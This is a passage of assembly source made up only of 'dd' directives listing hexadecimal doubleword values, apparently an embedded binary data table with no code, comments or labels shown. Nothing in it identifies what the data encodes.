0FC043BCCh, 1387B63Fh dd 50D947ABh, 944E752h, 597AF500h, 178FE291h, 4BD00084h dd 1D52B4C4h, 9800FB2Eh, 550BF4ADh, 0FA75191Ch, 923B0035h dd 6E41C18Fh, 0F6004925h, 95B67C96h, 48D032h, 0BBF52FFEh dd 31A65970h, 3FF2603Ah, 806BBB15h, 190EA2C5h, 636AD7h dd 9560E884h, 2B2C3685h, 0C3130500h, 0CBEDCC68h, 0B33E3D2Eh dd 3CE700F4h, 0A7B8D4F3h, 0C01E1BD2h, 46405B87h, 0EBEE13B6h dd 0A2103276h, 4979911h, 87B1C660h, 0FA60F814h, 0D05000BCh dd 0B0E1B88Dh, 6EE82DCBh, 25536603h, 8017B28Ah, 0A11184h dd 0B68C50C8h, 2B206E37h, 4007798h, 0E148DCC4h, 0D86F39h dd 73AACA2Ch, 0CD813E8Bh, 0A032921Fh, 0E22EC5C0h, 171FE59Eh dd 62BFABh, 44E6A67Fh, 0AD002DCAh, 75686B23h, 204F6h, 5CB4BD48h dd 8D28A236h, 41932200h, 242D6B9Ah, 7CA8003Ah, 0FCA07654h dd 0EB00C0AFh, 0BA070125h, 30419ACh, 532D7309h, 29C04B94h dd 0EE01BDF9h, 67B796E1h, 7FC8B58Eh, 0E4B01CD7h, 0C0744722h dd 9DF7E08Ch, 117BED27h, 4A784200h, 26B0942Dh, 0EC635A21h dd 347E00E0h, 683F73D4h, 369E0057h, 0BE69AF29h, 151FCEAEh dd 1B40AC94h, 583B8C2h, 0B41800E9h, 3A794DF0h, 0D2078BE2h dd 9312D8FAh, 466D2F50h, 873400DFh, 97905031h, 0C400BA36h dd 4467EB0Eh, 0DACDCh, 92CEB2EAh, 865F8B54h, 84006DFCh dd 2440D3C2h, 7BD9C5h, 0CE9743C0h, 10B0EF08h, 0AB4E7100h dd 0DCD80E57h, 92C17B45h, 54550004h, 80882A39h, 5703F41Bh dd 0F069679Ah, 8551D80Fh, 0CBE2266Ch, 2372003Eh, 66D1AB7Fh dd 0CF6D900Fh, 0F6892032h, 4237F9h, 4511A159h, 0A3BD0C48h dd 982FC500h, 0E915B0A2h, 0F261C36h, 3FCB9A8h, 0B8867E6Ah dd 2E9BB4A1h, 0E896B1A1h, 36001E08h, 0DEAE71A3h, 7419E34Ch dd 0D19500F5h, 6F17A564h, 745892E9h, 3E0D0E8Fh, 0A3AE080h dd 0D1B3C2h, 50468425h, 192DA277h, 0C03584A0h, 7694225Ch dd 0FBC96400h, 0C7C5764Dh, 0F78EC8Ch, 5233463Ch, 0A8151260h dd 0F04CF1Ch, 8F7999A1h, 600D9082h, 963A72h, 2D7056E6h dd 4ADFA3C3h, 72236600h, 0A82BEB3Ch, 6F79031Fh, 2F0B788h dd 10156AB0h, 85D65307h, 3880360Ch, 1C8375C7h, 80DC597Ch dd 5E2F3330h, 170F678Eh, 49BC2CB8h, 0C93580A1h, 244C9C82h dd 0D77141h, 3A60EE4h, 0B800F664h, 0E76CDAF0h, 7A0DA826h dd 0E6920088h, 163D3B27h, 60248317h, 0A7261B99h, 3040BC12h dd 7D3E59D6h, 0EAD2092Ch, 340138BDh, 0D89478ACh, 320FBBDFh dd 83CACCC5h, 0A8089E8Bh, 0F2A6F024h, 69B0002Ch, 0D975CE53h dd 0AEFC5F45h, 0B7FDF900h, 0CD3E1EC1h, 67820076h, 0A03077F4h dd 4A0096EBh, 0E3A9629Dh, 28D1B910h, 9CBAA8h, 93DBD6DDh dd 9454E9BBh, 2096F200h, 320C7550h, 7CC8F024h, 0BDD40063h dd 0A821ABACh, 393EFD05h, 1597178Eh, 93846702h, 9068636Bh dd 76BC44h, 66B4DC04h, 4BBD3949h, 0E2DEF100h, 0A0E3E5BBh dd 887E0C45h, 0ADF81C11h, 2FA40E0Eh, 0FDF8C7AFh, 0B738B0E0h dd 20C9605Dh, 48D9CB1Fh, 0CEDE501Dh, 0EEB8A880h, 4CAC7133h dd 32004D4Ah, 38E3105Dh, 3C004C85h, 0CFF4BB6Bh, 79ED9B5Bh dd 87D80167h, 0F6D2EB72h, 0B3DC04Bh, 0F71FA000h, 0B64A3404h dd 0B08707FDh, 53B8881Eh, 8DA8DC6Ah, 0F15CD151h, 0AA9C0046h dd 4965EFACh, 0D623008Ah, 304896DFh, 0D90041A6h, 21557B88h dd 301485E3h, 8B546340h, 6809F90Bh, 0E50720h, 0EDF081F8h dd 718903FFh, 3D9FEFD8h, 372511E8h, 644D0100h, 8A9EBE63h dd 5F153FC6h, 26350A80h, 0B9CE704Ch, 6CB1A901h, 0FF4834C0h dd 0E36F58E4h, 42CCE0h, 7FE3E662h, 73B986DAh, 74355213h dd 855FB600h, 4CA3ECC7h, 4200C48Ch, 0C6BCF270h, 8D5C0B6Bh dd 99C30345h, 0C79A34D3h, 11DCD6D0h, 45630031h, 8B58B366h dd 71070BAEh, 92F79F2h, 0E66F8520h, 46470081h, 27BDB195h dd 0A6003E55h, 1419EC5Eh, 0E82FDAAAh, 0CAB3E83h, 0C6515F82h dd 0B14075FFh, 390F4218h, 0A0D7023Dh, 626CBDE0h, 0DBF07Eh dd 0B9ECA2B4h, 2E199BCBh, 0D2009C90h, 5EE61C35h, 0E10F6D5h dd 55874DDh, 24659AA0h, 70006F5Bh, 8FC39138h, 0FAD8C8h dd 3EBE840h, 47AF2B55h, 42FC4300h, 775F8217h, 0B49B0019h dd 20D0B711h, 32072C2Dh, 0A36E1CF1h, 168D0C30h, 0B8425E5Bh dd 0DD650ED1h, 0AABA07A5h, 1AD54AC1h, 75F9E030h, 0E7EB0751h dd 0F028CF2Fh, 753BD4A0h, 6F444D00h, 472243EAh, 90AE0AB6h dd 1CAA8EDBh, 4C8807A8h, 84B99219h, 0FB4A97C0h, 1899B61Ch dd 8C39E600h, 786E94h, 730E69E4h, 0FFDB04Eh, 4C6A5400h dd 96AA8140h, 0E8420008h, 9DD4AF4Dh, 600F3731h, 4086468Dh dd 1666C28Bh, 14674869h, 750C0303h, 51A8A4A7h, 93190192h dd 0B01EFFC8h, 4DCE7D5h, 7590076h, 0B29EFC06h, 0D0FB1B8h dd 0C01C4AD0h, 0C71A0F3Eh, 87FD5070h, 0A6BD1E77h, 7CAC002h dd 0A8F96DE6h, 582D2CFEh, 31E9829Eh, 37C803Ah, 388F2Eh dd 513D5897h, 655A74AAh, 79EE7850h, 8D4C3E1Eh, 0D1F049C0h dd 0F8F3ED6Ah, 476002D5h, 793C0C9Bh, 2B890A75h, 2B1FB900h dd 17E3B313h dd 407695A5h, 5A38BBACh, 0C726D854h, 0A05D8A8h, 94C03E3Ah dd 0B279E8h, 0C62245C0h, 7DBA4B0Fh, 9348A2FAh, 8BBB03C1h dd 8E454E85h, 11070A0h, 123FBE78h, 60B723C3h, 4F0F9DDCh dd 4017E5CFh, 63023703h, 0DFF002F7h, 62D63B2Bh, 8C480C42h dd 0E0591112h, 554900F8h, 0FABCD92Fh, 0B065732Bh, 8F6C2CACh dd 0EEC40060h, 4207541Ch, 1E127400h, 84137CB2h, 0D58B007Ah dd 89AE2D0Ch, 5801703Ah, 5B20DCA6h, 30C01D12h, 0B32B090Bh dd 98004AA0h, 54961067h, 0D154EE7Bh, 0A600438Ch, 0EA6BCF56h dd 0D3A5A2h, 0F140615Eh, 943364A4h, 54DCA32Ch, 26C0FD9Fh dd 0D92BE54Ah, 29F37482h, 4084BB32h, 30F9B047h, 0CF7468F4h dd 84696300h, 7EC9940Ah, 5C54002Ch, 33471376h, 4400B524h dd 74A12B22h, 653AB4h, 43721BC6h, 1F3341C1h, 6459BF00h dd 74AE55E2h, 71630E35h, 0A9A021FAh, 0D190C3EDh, 4A3E3117h dd 2056A04Eh, 0D8647CB6h, 65780E0Ah, 578C19F0h, 0EE001B21h dd 0A7672DACh, 0EC91DEDFh, 28B70681h, 50CA4FBCh, 833D7C21h dd 435FA7ABh, 0F2284844h, 7FF68CA8h, 7480A900h, 4055364Fh dd 8FB2007Eh, 0F02F5E57h, 0D30E5C53h, 8113825Ah, 0A57B328Dh dd 0A839C053h, 36C5642h, 93D06952h, 26A1C322h, 9F208047h dd 0E090F9C8h, 83F200D9h, 224BEBFCh, 6DF4D4BCh, 6149F05Ch dd 8C2FC4A9h, 8B48458h, 0E86752B5h, 94129C4h, 0C89AA7ACh dd 94007498h, 0CDE267B2h, 0FC6C24DFh, 178E0023h, 8C5C576Ah dd 400334Fh, 2E4DC9EAh, 0F85802CBh, 607A293Dh, 0DC630368h dd 0C84465ADh, 59881868h, 0DF4200EBh, 0D9B4AFA4h, 10FF226h dd 3C618DBh, 0ED6738h, 72CB77Ch, 50881989h, 8CE84F09h dd 0A7FA800Fh, 74AEB1ECh, 0DE290070h, 682418DAh, 411C0A2Fh dd 0F80DDD2h, 0EBB069CDh, 0BE173FECh, 491D3A00h, 0E4D1FD24h dd 0F420BB00h, 6EBCA370h, 0B50500DEh, 8432A547h, 6C07F855h dd 0F90386BFh, 0D0B0DAC3h, 0B0CF956Dh, 0AE091F4Fh, 0F0BF0131h dd 406FA3E8h, 1E3096A2h, 0C26D3Bh, 0B92CF2DCh, 397DAA76h dd 0AE81B81Ah, 34F0684Ah, 0CD8B604Ch, 0E7D44700h, 59459EC9h dd 0E38B01A8h, 0EEC7B532h, 4C6BF4FFh, 670D3400h, 4FD37085h dd 769A007Dh, 0B4F11F62h, 0B7001D47h, 457837B1h, 0CD3FBCh dd 34951B8Ch, 330475F9h, 0C65A5800h, 0E8EF1529h, 3B5E060h dd 45B35FC3h, 7000A73Ch, 0D46DAD93h, 0CCF10A9h, 6F83BBE0h dd 5F00A08Eh, 167773F3h, 0D6B7D3h, 79D9DBE5h, 38DC53D7h dd 0AAA7C200h, 5BF5312Fh, 4C98E863h, 0A840F003h, 46591537h dd 8B099805h, 428085B3h, 1F4DF24Ch, 0E8001C7Ch, 0DF3ACB8Eh dd 724280C7h, 0C09471B2h, 0B3B67B50h, 4D007969h, 4CACD198h dd 0FA8A033h, 35D4050Ah, 0C0ADC5A4h, 0AF362415h, 313721C7h dd 0E472000h, 7EB900FDh, 0F4CCAD6Fh, 2800983Ah, 1DB41AD1h dd 620351h, 230FC55Fh, 8D113286h, 0E2015AF0h, 20886B48h dd 6DD0A041h, 7ED72C5h, 0F75F0289h, 0FA90E0F1h, 6B809379h dd 94ED00DDh, 269291ACh, 0CB1DCE76h, 0ABC04CD9h, 9D522B5Ch dd 0EA4D295Eh, 2341C64h, 0C20A21DEh, 9110FC19h, 0FA017F79h dd 0CDA8B97Dh, 0B9817511h, 820A1664h, 0EF60FA4Dh, 0AE00E3C4h dd 0ED98F571h, 54B74h, 0BD1233E6h, 3B8084FCh, 0DA36D877h dd 761E05Ch, 312B6F88h, 0FDDAA8Fh, 4FA580D9h, 689286A5h dd 0A7AD6E00h, 0A0F27A2Fh, 7C9F78AAh, 0FE90A014h, 0AC02867Eh dd 0DA83A6EDh, 0CE0F195Eh, 0EDFE0E00h, 0B82C00A1h, 9487C245h dd 8D00A43Bh, 3F06E7Eh, 9D1012h, 1AC40E74h, 6C519557h dd 0C8F3327Fh, 0A701BA31h, 2350F606h, 0CF707A81h, 9F850099h dd 63A96A36h, 0C3778F30h, 76BABB00h, 0F7BC7C5Fh, 0EA4E380Bh dd 8441278Eh, 506BF0C0h, 0FB00CCC4h, 0D4266416h, 0BBFE82h dd 511997Ch, 0F67E6E71h, 35571B00h, 62B68DD9h, 38678B4h dd 20E4FFE7h, 4800F2A0h, 6A7E63EFh, 2281CCh, 9F5D4B4Ah dd 875223A7h, 99078975h, 0F793AC0Eh, 0A60CE7D0h, 0D8CC13C5h dd 80A71FC8h, 8192BD0h, 0E90E412Eh, 9E34BFEEh, 37C54D40h dd 7786093h, 203B31EDh, 0E16A8113h, 508BDC27h, 0D8489E00h dd 44747590h, 0DB6B38A8h, 8C6CBC83h, 10007C55h, 3760188Ah dd 0E361DDh, 0E5C48BE0h, 74C80EA2h, 0EBA9860Fh, 31082333h dd 0DED7B05Bh, 806B07C5h, 476F3BBCh, 7781DE22h, 80E8E2A0h dd 64DC5D40h, 1FF3CCh, 0F5202A03h, 0C8EA8468h, 0DE6B760Fh dd 69BAA051h, 17B0B8h, 70DA6A2Eh, 8A53A88Bh, 1E004690h dd 0EFB39138h, 33CFA5h, 0C09D4CB8h, 0C95DD212h, 68D1BF30h dd 345CF8h, 8F7AE3CFh, 232DF918h, 2FE47303h, 0D84178DAh dd 1E5EF0Bh, 8D2B5A93h, 70CA7CF4h, 5F00BE95h, 4F4B33D4h dd 19412947h, 58E938B0h, 0F82AF8B8h, 0C7B71100h, 1E599CB6h dd 0D2131E30h, 5BA103D3h, 0F109DC27h, 81F624BDh, 3FC8E3F1h dd 0F06F0D0h, 0D9CD61DFh, 0CE031587h, 366A5878h, 4E25C700h dd 22168746h, 18B4005Bh, 0E3DE1BC4h, 0F0F7D975h, 937B0C8Ah dd 0C7070474h, 87FAF773h, 8D9001F7h, 18DD1BCBh, 6472DA19h dd 8F00EFBCh, 0BD53F6B1h, 30F8924Bh, 1EE11226h, 5A07C2E4h dd 6BC7D3CDh, 0C839AD21h, 0A9E5FBC4h, 0B5FC41D8h, 25340DC4h dd 40D88C79h, 33D12410h, 0E756DD0Ah, 1200804Bh, 5E589AE5h dd 7F321493h, 0BB1D846Bh, 1EF126Ch, 9053C934h, 3D59805Eh dd 2533D6ABh, 0C378220Dh, 0E60E30EAh, 0B0BB56DCh, 0E344BC9Ch dd 14086742h, 8F0A7C24h, 0D51258E8h, 31582918h, 0B431847Bh dd 0D7CFB1C6h, 1058D046h, 107A3E2Eh, 0EC820C37h, 0CB027D16h dd 99A910D1h, 8F6500F3h, 3E488C4h, 0C3B0E567h, 0B2042C3Ah dd 9B047039h, 7BF42115h, 412704C6h, 37A784B8h, 0C016AC53h dd 3831F240h, 113E5118h, 0F112BC00h, 3796E15Fh, 0B63B80C0h dd 0A346A880h, 4BA09794h, 0C030BEF0h, 0A54D8681h, 6A288CBBh dd 0F708BC90h, 28817Ch, 2C9FAC2Dh, 170F100Eh, 80A0D0D1h dd 6D4FF8ABh, 6BA4003Ch, 0CF16C70Dh, 0C2004450h, 9FC430D6h dd 0FF131E7h, 0F012CE8Ah, 0F7713B6Ch, 654CFF01h, 5C9F0DAEh dd 0B2605021h, 0D7510021h, 0CD15A733h, 14009A5Fh, 0DCCA71EFh dd 6FC8EB05h, 0C71DF98Fh, 609811C5h, 1A4BC037h, 4DE2A10Ch dd 2DE219Bh, 4F7918FAh, 0EB40E441h, 4E193AA8h, 556034C5h dd 1811B855h, 0B61D0AACh, 0DF029895h, 63B416E1h, 6EAB884h dd 8FC00F58h, 0D4EA71B3h, 0DCA840ACh, 2605330h, 4EA6BDD9h dd 1917566h, 54D17871h, 801D75B8h, 4C0ED621h, 666597h dd 0E2EB6C01h, 0C9A8E168h, 7B18434Dh, 2630B803h, 7C755C93h dd 0C5121808h, 0FCC4B15Ah, 8E9F2C00h, 0A746F844h, 490A0F65h dd 0A8EE0656h, 0EC2F0C40h, 81364D3h, 9B0068B7h, 91E2A241h dd 6616006Eh, 0A7E1D863h, 89006FD9h, 9A43DA4Eh, 2F3E48h dd 990BFE2Ch, 4F3FCE23h, 6EC0879h, 0E4031CE0h, 2FBDED3Dh dd 309CD8B4h, 5EC60021h, 2919CA38h, 0AA0010DCh, 92E40EEAh dd 5A4CFBh, 0C2832D6Fh, 0EE61165Ch, 0D613A800h, 0F5F10AEBh dd 0B7C90120h, 3CA6E5F9h, 7ECFF842h, 19947900h, 1192A35Ch dd 0F83B03B6h, 0E19A85B2h, 4EDD0FC8h, 0DBFCA607h, 0FE70CBC7h dd 4CAA7E4h, 8DB7CEF3h, 10B28094h, 0E71D14DFh, 0E007E3FBh dd 0F4D09FBAh, 7E648FEh, 0EED57CC4h, 90397660h, 718A1000h dd 4B11DAF2h, 499C0D7h dd 0D87931B2h, 3B29A300h, 8044E4E7h, 3D9700D9h, 9FBBADD3h dd 1801F0F9h, 0E6BDE5E1h, 8880C193h, 7D2CF81Eh, 0F3485A8Fh dd 188C401Fh, 0B630E600h, 0AD616E03h, 80D4672Fh, 4D80F0BAh dd 0EF781240h, 6400DE7Ah, 4B590897h, 0FB3AD8h, 0B0A27CC2h dd 53E8D3EBh, 77DE8600h, 0CFA39DAEh, 0A66F0D22h, 0FC692D01h dd 0AF008E95h, 538C1B77h, 73A58281h, 4E8D0088h, 0E8E93F5Ah dd 0A033AF8h, 97FD01A9h, 0A5878825h, 9578006Dh, 88526CD6h dd 4D1F1AA7h, 0F919A9E8h, 0E3F0A542h, 0F5370028h, 0F3311809h dd 0B2007FA4h, 0F92DAA6Fh, 3B4663h, 0B8E443A9h, 0CFBBCBB5h dd 0C8B72400h, 5A8A7B41h, 8848C083h, 0B5C31B93h, 7F250503h dd 0D07E8CB0h, 50F3277Ah, 57AEEEh, 0C63FC0E8h, 3842C1F1h dd 5918B660h, 0CE22EDh, 0D382F83Dh, 0A16A66B8h, 0A4CB1D0Fh dd 3CC40E3Ch, 11D78D00h, 0E2F5089h, 24F41FAEh, 0DA91840h dd 0F1022184h, 0E9C9467h, 2C9483C6h, 4113A0C3h, 3BFE0B6h dd 0F086A431h, 0A0EF336Eh, 9F1E39F1h, 3A1DEC00h, 0CFBE3BC6h dd 364230A9h, 9E590721h, 0AD449800h, 0B83387Bh, 298C009Bh dd 33BBBD0Dh, 3218CF58h, 4830AFD3h, 1908C0B2h, 151169AEh dd 83F7ED3Fh, 39FEA410h, 0E852E06Ch, 8FB00BAh, 0C18F723Dh dd 96F01937h, 0D5009A75h, 0C073BCEDh, 0E8D75042h, 321C3DEh dd 0D58838CBh, 0C600B6F3h, 144BA68Fh, 3F259DE9h, 28EF4099h dd 5CB780DCh, 0F45B3BB2h, 0AF00D1F0h, 0ADFCD76Ch, 3ADCC68Bh dd 0F8186A2Ch, 0BC182083h, 73F36F07h, 0AC709F94h, 1CB68h dd 0C34453EAh, 3AC47275h, 0C9413700h, 54B26A71h, 1396003Fh dd 5E31A4A9h, 0BBFC2B0Bh, 5900077Fh, 0C75C2547h, 729604Ch dd 0E36F5D09h, 80553587h, 8DB3FA04h, 4C324400h, 46B5F88Bh dd 7A7500E7h, 0CEE85A7Fh, 0A23C986Ch, 38AA802Eh, 4582CCACh dd 3D3DB8E9h, 0AB87EB1Bh, 0FB47DF65h, 43F1D01h, 5DC0F337h dd 8FF12FF7h, 58FBAE09h, 0D3C520h, 0EBDDE08Ah, 0F26775C6h dd 53078FE4h, 0CCB888D4h, 0C54AD340h, 1452CADh, 24020F50h dd 84A9F7C0h, 7A0091AEh, 0A7B97506h, 1D7C77F5h, 0C06A324Fh dd 29CEC3DAh, 0D000DC7Fh, 702E164h, 2D69F44h, 0E5554B69h dd 60D5D10Bh, 3A0A1708h, 37800EBBh, 57310F2Dh, 4FEA79B1h dd 26DBC300h, 65638C75h, 0C44A0061h, 1FBE6B36h, 5AECEE5Bh dd 2654DC00h, 3E837F0Bh, 0E6EC00E5h, 0A94E2308h, 96004AC3h dd 0CDCA9974h, 2663E4h, 9F90B5D8h, 0CB39113h, 8058D41Eh dd 364603C0h, 4CD1F7h, 0CFCDB820h, 60E299F9h, 77D05800h dd 0BF3501D8h, 0E603011Ch, 5DBC1471h, 37E547D2h, 70F6C0AFh dd 103BA20h, 0CC42C47Bh, 0EE07B0ADh, 9AA30035h, 43555A67h dd 9D008738h, 24B93ABCh, 0A6C737h, 0CDAD8375h, 0F4D2A559h dd 0D6802900h, 0B4082E6Bh, 700A003Bh, 822B68C8h, 9005D312h dd 23565480h, 0DCEE700h, 73C3D1h, 2DAE77Ah, 8E3DA593h dd 7B7737FAh, 0FFB72D00h, 41730983h, 705700F8h, 0DEF1D0A8h dd 8100C026h, 1A9BC62Eh, 0F77168Fh, 0CCE0FAEEh, 0AEA729A0h dd 5100B20Ah, 723A54D9h, 0B8AAF6h, 321D9D0Eh, 3F248E77h dd 7E5E301h, 0C2F09A3h, 6EDBBCCh, 0B78364B4h, 79003C2Eh dd 26A6C043h, 0F0502C8Fh, 328E00A5h, 0FC231D1Fh, 0D8016430h dd 0E1920373h, 14C8955Fh, 62900078h, 0EEF94D0Ch, 8702C9E2h dd 0D5C50119h, 4F62400Bh, 7C030275h, 44096BF7h, 0F063C3F7h dd 9858F22Eh, 852F02D8h, 57EEECE0h, 37428C60h, 30231500h dd 60BE78EFh, 51270036h, 0C8F8F2B4h, 5A0031F5h, 756CBA0Dh dd 380B70h, 63FF4E9Bh, 0C61B56D3h, 7A5C9C00h, 666018EAh dd 0C3F90049h, 84255496h, 0C1DB110h, 873C2EA1h, 16A0D593h dd 701D03C9h, 0E71FE886h, 9AFCF8h, 0E0B0A38Fh, 1A5F92D5h dd 2D07127Bh, 6613A2FAh, 0CF9CB480h, 0FE7E003Eh, 161BF3B9h dd 18005ABFh, 45326434h, 175952Ch, 5889A479h, 6040EFC7h dd 247E41C7h, 0F5C9EB00h, 4849C036h, 51790EE9h, 728246h dd 0BB0CBFCCh, 0E47492E5h, 0A4F6C403h, 993E36FCh, 226CD29Bh dd 9A446507h, 0DCD9829Eh, 0D0F9F640h, 61A2B300h, 0B810DE5Ch dd 58290011h, 0D29CDCF6h, 56001F76h, 41EAB1CBh, 3EFB27F7h dd 8E022B6Fh, 0F0D98F6h, 0ECAB0860h, 9E620700h, 0E5531A06h dd 0DA520012h, 0C1363ADDh, 4C00C935h, 0B7F531A8h, 1D3B8FB6h dd 0C796C25Ah, 0B0547774h, 77CB537h, 83009AF0h, 13C67186h dd 0F497D89Bh, 9FCC0050h, 0D1A6CAE2h, 1A2E2E30h, 7D0FAE59h dd 0DEEBA309h, 71C0D55Eh, 6A0647h, 0DAAA606Eh, 595AA3B1h dd 3DC98C00h, 380D12ADh, 8464001Ah, 0AC885BD1h, 0C7FECD6Ch dd 86942D00h, 79208B72h, 0D12C0B18h, 818004A4h, 3F531EC1h dd 99DA0100h, 0E389CFF6h, 0EE110003h, 4FE00246h, 5D00177Bh dd 61954E94h, 25784CF0h, 16E09F0Fh, 0C0011E8h, 149426DDh dd 77A00B8Eh, 7BF262h, 9518FAB4h, 0B98FB3C8h, 0AC4E924h dd 0C1EAFF00h, 4A85B8h, 0D8B2D5CCh, 0D65DDDAEh, 9262A00h dd 0AFC964D7h, 990D0BDAh, 970072F9h, 0A43315B1h, 3107F878h dd 0FEE3323Bh, 0B95B821h, 6F8030h, 0C94C69Bh, 6932846Ch dd 9E00FC9Ah, 4781A34h, 1CBD86A5h, 806316B8h, 9B93858Dh dd 8400CE1Bh, 57A54DF9h, 0B0F3D7D0h, 0A9010350h, 0E62D24Fh dd 274AA2B8h, 0B6707B00h, 9F0364EEh, 57BC0041h, 0C098AB83h dd 0F6006096h, 0C8DC1801h, 0C7615Ah, 0E6736AC3h, 0B48E7224h dd 8D0C6F00h, 33D2DCAEh, 0EC4A00EBh, 429FD7C3h, 9B00F8A9h dd 4F130280h, 1C55FC65h, 3050BAACh, 7637DF7Ch, 0A2457F00h dd 8067EF75h, 344702BCh, 20538562h, 8401FB60h, 0C5A9EA00h dd 0E197D170h, 4C9E6024h, 68E78F8h, 0A369B700h, 405C8D6Fh dd 8D2D4C8Bh, 0A2C0A502h, 60D77C6Bh, 1261CAD3h, 9E824E7h dd 3F7BC50h, 80161E3Eh, 1787358Ch, 174688h, 0CA3F043Dh dd 9F1FC225h, 3E245091h, 6007B012h, 8088D827h, 8D0B25B2h dd 24050CF7h, 0D154116Fh, 0EEF664C0h, 94FA97h, 0E8ACBD8Bh dd 1F13F066h, 5E3A7500h, 293BBE0h, 961107D1h, 703822C9h dd 5DD45214h, 4F981801h, 0BEE1E29Eh, 0AF0A9E1h, 0B1EA3E82h dd 6E0CCB07h, 8763202Bh, 3B0077FEh, 158AB526h, 18AD38h dd 0C130F456h, 0A8E48659h, 4842E100h, 9DC263C4h, 754B85Eh dd 3923D7EEh, 4B3E1093h, 0BFEEC522h, 0CCA27A01h, 94F53316h dd 12C94960h, 0E4A7505h, 3D6063ACh, 0D586C3A3h, 0C800C776h dd 0FD1FEC02h, 1792B4AEh, 14ADD01h, 2C2D3080h, 0CC37ECB2h dd 0A6074B00h, 69D26472h, 5D15FE65h, 0DE009C2Ah, 485C5573h dd 0AE3AB3CEh, 5AF7035Eh, 0C13CF845h, 0B9E3C516h, 0B8E0B48Ah dd 60CD0081h, 0C35D829Ch, 79039305h, 2A73C1BFh, 0CEE10EE4h dd 0C3E02EDCh, 673E59C7h, 0AFAE4B0Bh, 48D4A04Ch, 0C372EC9h dd 19829DACh, 0C200EC88h, 0ADF78993h, 36C68Ah, 0A5FA340Eh dd 0C9078DE6h, 539E8800h, 0D9447A48h, 0B5CC07BAh, 0D37271F6h dd 0B1D01B08h, 103B90ABh, 5DC900E1h, 0DF748C19h, 72061D48h dd 78FB021Bh, 5DC04B8Ah, 5E4A8C2h, 0D416340Fh, 5297E076h dd 0D8DF8Dh, 0C48ECDBBh, 0CF463015h, 7FE3EE00h, 968CD3B4h dd 0FCCE0041h, 0C3C1E20Ah, 297B737Eh, 300731F2h, 1E84152Ah dd 3E9CEEC0h, 4A90023h, 318B1F7Ch, 0F33D7285h, 0B410026h dd 3623A0E4h, 88710058h dd 0AAC87A93h, 0A90FB1B3h, 20ED1CB0h, 16B91A02h, 0A5AF123Eh dd 3F8400C8h, 8260C9FFh, 625BE100h, 185F448h, 8F760061h dd 0B2A77F50h, 0B8A03D0Ch, 2B747555h, 0FB135900h, 3A3808E6h dd 1F25734Fh, 81FA850Ch, 0A97C33Fh, 3CF9EC14h, 67227B07h dd 65E075E4h, 0E6825D48h, 24B219h, 0B7792F1h, 0FB34256Dh dd 79C97A01h, 0A1B46694h, 1559C0EEh, 5FD60060h, 0C31BFDC8h dd 0E30222EDh, 925C01AEh, 6F00E047h, 8D683FDDh, 6700B53Ah dd 714378B1h, 0D560A5BAh, 0B09609E8h, 46B900DAh, 3C220667h dd 0EE07ED7Ah, 0F358C073h, 2366D820h, 87B539EFh, 501ABA81h dd 649FEBD0h, 73003CCCh, 818FC0C6h, 353AC1h, 618D1F0Bh dd 7ACCE952h, 9CC64E24h, 0F4DEA482h, 979C803Ch, 7CD26AA0h dd 5F0430B3h, 8347D320h, 8023453Eh, 0F12B6C21h, 1207A443h dd 4FB8792Fh, 1F23B070h, 100FBB67h, 802D3FCDh, 71F84A74h dd 1D2300A3h, 6FAF2195h, 0C4C04E29h, 0B4D465FFh, 63900ECh dd 19F6C6EAh, 0AF00BC5Ah, 1A556AC9h, 0E4513A57h, 0C4D0009h dd 0FEADFC50h, 0E700BB5Dh, 0F76EE022h, 3FA0740Fh, 0F8014A61h dd 0DC35B71Eh, 81A3E82Ch, 0BAE86403h, 3ED8A92h, 0B33E4B68h dd 10E6635Ah, 0CD798E26h, 0D7165100h, 0DB0E66h, 8A98156Bh dd 0F2D0CC1Ah, 8CC88701h, 0B455D657h, 0C00E9DD0h, 2C4B3A88h dd 0FB77E2CCh, 68499E00h, 0F6CEAA99h, 32430034h, 33730B6Bh dd 63302D0Eh, 0D0ED6825h, 0B3830059h, 0BED90AB9h, 0A9006769h dd 0C89B0F66h, 26C11F68h, 0B2A478h, 769234C6h, 0A300FB2Ah dd 4E3B51D4h, 0BF52D3Ah, 491642E9h, 925F1E80h, 513FDB9Bh dd 0B79580FFh, 0B3DDD107h, 462900C5h, 0A3A79344h, 230E5CD8h dd 408F2D92h, 294F4C0Ch, 70FE0CF5h, 0AA40E22Fh, 8D09A41Fh dd 20152284h, 0E57019C7h, 7FB4FC7h, 25F2F52Fh, 69B620DFh dd 8B03BAFFh, 665AA67Bh, 2E50908Ch, 76FC1D0Bh, 682507FDh dd 41E5C0CAh, 2800E646h, 0E9C23A52h, 588A4714h, 0EE7DE3ADh dd 4EB40045h, 0FECCA80Ah, 9B00411Dh, 0AD788AC1h, 9435DD7h dd 9A264A84h, 171FF582h, 2F362040h, 78E9D00h, 6A6533DBh dd 7A31009Ah, 4C4519D1h, 1D701A67h, 7800D9F2h, 81D0EBA9h dd 0B775C5h, 572ACD25h, 0C6AB11Eh, 0E401F374h, 88644E41h dd 0DFF161D5h, 11FC1081h, 0F8DE4065h, 0C300BCC7h, 0DA2957D1h dd 50F5E2h, 4FCE0F8Fh, 80D67B45h, 46C4D00h, 2497CBB4h dd 81780173h, 961C3210h, 0C63F30BBh, 0D88F701Eh, 0A1AD4007h dd 54FF3CD0h, 0FD6B1E3Dh, 8724001h, 42F6F2DBh, 300EB97Eh dd 0A2B37682h, 9CC7519Ch, 0C5EC1020h, 130EC320h, 5BB6E02Ah dd 0D2810E79h, 31004D49h, 58A33882h, 6665180Eh, 981DE710h dd 2554FE50h, 0E41700A4h, 0F4797228h, 8500E641h, 94716F06h dd 4A8FDAh, 68A24DA1h, 0CE208B97h, 0FA2C0330h, 3AAF7655h dd 7EB865h, 9456BAECh, 58FF35E5h, 0CCB97D00h, 0B7160D69h dd 25170022h, 830E9777h, 4E05A553h, 741F4510h, 182AA440h dd 716A54h, 0AE37D355h, 0F628FF1Eh, 3B12AA3Ah, 4788813Bh dd 258BFBFCh, 7DEBECh, 0CB797181h, 0EFD8C720h, 65E33301h dd 76282573h, 7E558058h, 345110Ch, 5AC6A034h, 76BD00F1h dd 89E7F6CDh, 0FD05E39Ch, 80D89D82h, 4710AC00h, 7E31B6AAh dd 504001Eh, 1BC2F256h, 98002A88h, 597F689Dh, 30873E71h dd 15E082E9h, 9E987ACAh, 14991004h, 8680B9F5h, 626FA7h dd 605D6C4Ch, 26D719C6h, 84208052h, 3C626513h, 0A8C945E0h dd 0DD88D860h, 0A32AD20h, 6F238103h, 0DBB20AD0h, 454701F9h dd 0C1844ECFh, 0DDBFF07Dh, 0CA97E8C0h, 3C2BB8FFh, 4F8001ACh dd 